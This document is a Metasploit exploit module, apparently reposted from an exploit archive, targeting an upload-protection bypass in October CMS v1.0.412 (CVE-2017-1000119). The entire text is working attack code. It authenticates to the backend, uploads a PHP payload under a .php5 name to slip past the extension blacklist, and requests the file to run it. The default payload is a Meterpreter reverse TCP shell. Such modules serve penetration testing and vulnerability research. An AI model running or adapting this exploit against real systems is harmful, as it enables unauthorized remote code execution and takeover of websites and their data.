Kod:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'October CMS Upload Protection Bypass Code Execution',
'Description' => %q{
This module exploits an Authenticated user with permission to upload and manage media contents can
upload various files on the server. Application prevents the user from
uploading PHP code by checking the file extension. It uses black-list based
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions().
This module was tested on October CMS version v1.0.412 on Ubuntu.
},
'Author' =>
[
'Anti Räis', # Discovery
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
'SecureLayer7.net' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB','41936'],
['URL','https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html'],
['CVE','2017-1000119']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'October CMS v1.0.412', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 25 2017'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base October CMS directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
])
end
def uri
return target_uri.path
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'modules', 'system', 'assets', 'js', 'framework.js')
})
rescue
vprint_error('Unable to access the /assets/js/framework.js file')
return CheckCode::Unknown
end
if res && res.code == 200
return Exploit::CheckCode::Appears
end
return CheckCode::Safe
end
def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'),
'method' => 'GET'
})
if res.nil?
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
/name="_session_key" type="hidden" value="(?<session>[A-Za-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil?
/name="_token" type="hidden" value="(?<token>[A-Za-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine token") if token.nil?
vprint_good("Token for login : #{token}")
vprint_good("Session Key for login : #{session}")
cookies = res.get_cookies
vprint_status('Trying to Login ......')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'),
'cookie' => cookies,
'vars_post' => Hash[{
'_session_key' => session,
'_token' => token,
'postback' => '1',
'login' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_a.shuffle]
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# if we redirect. then we assume we have authenticated cookie.
if res.code == 302
print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end
def exploit
cookies = login
evil = "<?php #{payload.encoded} ?>"
payload_name = "#{rand_text_alpha(8..13)}.php5"
post_data = Rex::MIME::Message.new
post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"')
post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload
data = post_data.to_s
register_files_for_cleanup(payload_name)
vprint_status("Trying to upload malicious #{payload_name} file ....")
res = send_request_cgi({
'uri' => normalize_uri(uri, 'backend', 'cms', 'media'),
'method' => 'POST',
'cookie' => cookies,
'headers' => { 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' },
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
send_request_cgi({
'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name),
'method' => 'GET'
})
end
end
# 0day.today [2019-09-09] #